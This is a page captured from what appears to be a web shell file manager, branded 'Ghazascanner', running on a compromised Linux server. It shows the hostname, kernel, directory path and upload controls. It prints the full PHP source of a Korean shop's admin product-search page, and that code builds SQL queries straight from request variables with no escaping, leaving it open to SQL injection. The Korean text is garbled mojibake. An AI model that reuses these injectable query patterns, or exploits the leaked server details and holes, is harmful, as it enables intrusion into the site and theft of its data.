@Ghazascanner
_2019runbot
Ghazascanner File Manager
server :Linux adweb87 2.6.32-754.el6.x86_64 #1 SMP Tue Jun 19 21:26:04 UTC 2018 x86_64
Current Path :
/
home
/
sanchung
/
public_html
/
admin
/
_product
/
Path :
Upload File :
New :
File
Dir
/home/sanchung/public_html/admin/_product/goods_search.php
<? include"$_SERVER[DOCUMENT_ROOT]/admin/_lib/admin_check.php"; if(!$item) $item = 10; echo" <script type='text/javascript'> <!-- var lcate = new Array; var mcate = new Array; var scate = new Array; "; $cres = $mysql->res("adw_cate", "*", "where num<>0 order by cate_level asc, cate_step asc", 0); $li = 0; $mi = 0; $si = 0; while($crow = $mysql->farray($cres)){ switch($crow[cate_level]){ case"L": echo"lcate[".($li++)."] = '$crow[lcode]::$crow[cate_name]';\n"; break; case"M": echo"mcate[".($mi++)."] = '$crow[lcode]$crow[mcode]::$crow[cate_name]';\n"; break; case"S": echo"scate[".($si++)."] = '$crow[lcode]$crow[mcode]$crow[scode]::$crow[cate_name]';\n"; break; } } echo" function cateSet(cate){ category = new Array; tmpcate = cate.split('::'); category['name'] = tmpcate[1]; //alert(catename); category['lcode'] = tmpcate[0].substring(0, 4); category['mcode'] = tmpcate[0].substring(4, 8); category['scode'] = tmpcate[0].substring(8, 12); return category; } function lcate_sel(){ var f = document.form; var lcode = f.lcode.value; f.mcode.length = 0; f.scode.length = 0; var ai = 0; for(i=0; i<mcate.length; i++){ category = cateSet(mcate[i]); if(lcode == category['lcode']){ var newoption = new Option(category['name'], category['mcode'], false); f.mcode.options[ai] = newoption; ai++; } } } function mcate_sel(){ var f = document.form; var lcode = f.lcode.value; var mcode = f.mcode.value; f.scode.length = 0; var ai = 0; for(i=0; i<scate.length; i++){ category = cateSet(scate[i]); if(lcode == category['lcode'] && mcode == category['mcode']){ var newoption = new Option(category['name'], category['scode'], false); f.scode.options[ai] = newoption; ai++; } } } function del_check(num){ if(confirm('¼±ÅÃÇϽŠ»óǰÀ» »èÁ¦ÇÕ´Ï´Ù.')){ location.href('./_product/proc.php?page=$page&mode=delete&num='+num); } } //--> </script> <h2>Á¦Ç°°ü¸®</h2> <form name='form' method='post' action='$_SERVER[PHP_SELF]'> <input type='hidden' name='amode' value='$amode' /> <table id='f-table2'> <!-- <tr> <th class='form'>Ä«Å×°í¸®</th> <td height='90' class='form' colspan='3'> <select name='lcode' onchange='lcate_sel()' style='width:150px; height:80px' size='5'>"; $res = $mysql->res("adw_cate", "*", "where cate_level = 'L' order by cate_step asc"); while($row = mysql_fetch_array($res)){ echo" <option value='$row[lcode]' "; if($row[lcode] == $lcode) echo"selected='selected'"; echo">$row[cate_name]</option>"; } echo" </select> <select name='mcode' onchange='mcate_sel()' style='width:150px; height:80px' size='5'> <option value=''></option> </select> <select name='scode' style='width:150px; height:80px' size='5'> <option value=''></option> </select> </td> </tr> --> <tr> <th height='30' class='form'>»óǰ¸í</th> <td class='form'><input type='text' name='name' size='30' class='inputT' /></td> <th class='form'>°Ô½Ã¹° Ãâ·Â¼ö</th> <td class='form'><input type='text' name='item' value='$item' size='10' class='inputT' /></td> </tr> </table> <p id='bottom-btn'><input type='submit' value='»óǰ°Ë»ö' onclick='form.submit()' /></p> </form> <br /> <table id='l-table' border='0'> <caption class='blind'>Á¦Ç°¸®½ºÆ®</caption> <thead> <tr> <th width='6%' scope='col'>¹øÈ£</th> <th width='18%' scope='col'>»çÁø</th> <th width='*' scope='col'>»óǰ¸í</th> <th width='18%' scope='col'>°¡°Ý</th> <th width='15%' scope='col'>µî·ÏÀÏ</th> <th width='15%' scope='col'>°ü¸®</th> </tr> </thead> <tbody>"; if(!$pageintm) $pageitem = 10; if(!$page) $page = 1; $start = ($page - 1) * $item; if($lcode) $sqlwhere .= " && lcode='$lcode' "; if($mcode) $sqlwhere .= " && mcode='$mcode' "; if($scode) $sqlwhere .= " && scode='$scode' "; if($name) $sqlwhere .= " && name like '%$name%' "; $row = $mysql->row("adw_goods", "count(num)", "where num<>0 $sqlwhere"); $total = $row[0]; $totalpage = ceil($total / $item); $pnum = $total - (($page-1) * $item); $res = $mysql->res("adw_goods", "*", "where num<>0 $sqlwhere order by gstep asc, num desc limit $start, $item"); while($row = mysql_fetch_array($res)){ $simg = ($row[file01]) ? "./updata/goods/$row[file01]" : ""; $_lcode = $mysql->row("adw_cate", "cate_name", "where lcode='$row[lcode]' && cate_level='L'"); $mcate = ""; $scate = ""; if($row[mcode]){ $_mcode = $mysql->row("adw_cate", "cate_name", "where lcode='$row[lcode]' && mcode='$row[mcode]' && cate_level='M'"); if($_mcode) $mcate = " > ".$_mcode[cate_name]; } if($row[scode]){ $_scode = $mysql->row("adw_cate", "cate_name", "where lcode='$row[lcode]' && mcode='$row[mcode]' && scode='$row[scode]' && cate_level='S'"); if($_scode) $scate = " > ".$_scode[cate_name]; } echo" <tr> <td>".$pnum--."</td> <td style='padding:5px'><img src='$simg' width='90' alt='' /></td> <td>$row[name]</td> <td>$row[price]</td> <td>".substr($row[wdate], 0, 10)."</td> <td><a href='?amode=goods_edit&num=$row[num]&page=$page'>¼öÁ¤</a> / <a href=\"javascript:del_check('$row[num]')\">»èÁ¦</a></td> </tr> "; } if(!$total){ echo" <tr> <td colspan='8'>µî·Ï(°Ë»ö)µÈ »óǰÀÌ ¾ø½À´Ï´Ù.</td> </tr>"; } echo" </tbody> </table> <p id='page-link'>"; $fquery = "lcode=$lcode&mcode=$mcode&name=$name&item=$item&amode=goods_list"; $lib->psk_pagelink_layer($totalpage, $pageitem, $page, "/admin/img/left_arr.gif", "/admin/img/right_arr.gif", $fquery); echo" </p>"; echo" <script type='text/javascript'> //lcate_sel('$lcode'); //window.onload = mcateset; function mcateset(){ select_ch(form.mcode, '$mcode'); } lcate_sel('$lcode', '$mcode', '$scode'); </script>"; ?>